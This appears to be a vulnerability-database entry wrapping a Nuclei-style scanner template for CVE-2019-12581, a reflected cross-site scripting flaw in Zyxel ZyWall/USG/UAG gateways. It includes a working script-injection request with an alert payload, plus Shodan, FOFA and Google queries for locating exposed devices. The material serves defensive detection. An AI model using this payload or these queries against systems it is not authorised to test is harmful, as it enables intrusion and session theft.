CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
71.9%
Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
id: CVE-2019-12581
info:
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
author: n-thumann
severity: medium
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
reference:
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
- https://www.zyxel.com/us/en/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-12581
cwe-id: CWE-79
epss-score: 0.00358
epss-percentile: 0.7209
cpe: cpe:2.3:h:zyxel:uag2100:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: uag2100
shodan-query: http.title:"ZyWall"
fofa-query: title="zywall"
google-query: intitle:"zywall"
tags: cve,cve2019,zyxel,zywall,xss
http:
- method: GET
path:
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "Please contact with administrator."
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a004630440220227bc39f0e29587123271b11fb51a1771f772556dbe2e16fcedca6ce1145e1d0022044eccbd11473b67273e8efa4a5380c54ead2423611e481c03e88e725e8a2beb8:922c64590222798bb761d5b6d8e72950
n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
nvd.nist.gov/vuln/detail/CVE-2019-12581
sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
www.zyxel.com/us/en/
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
71.9%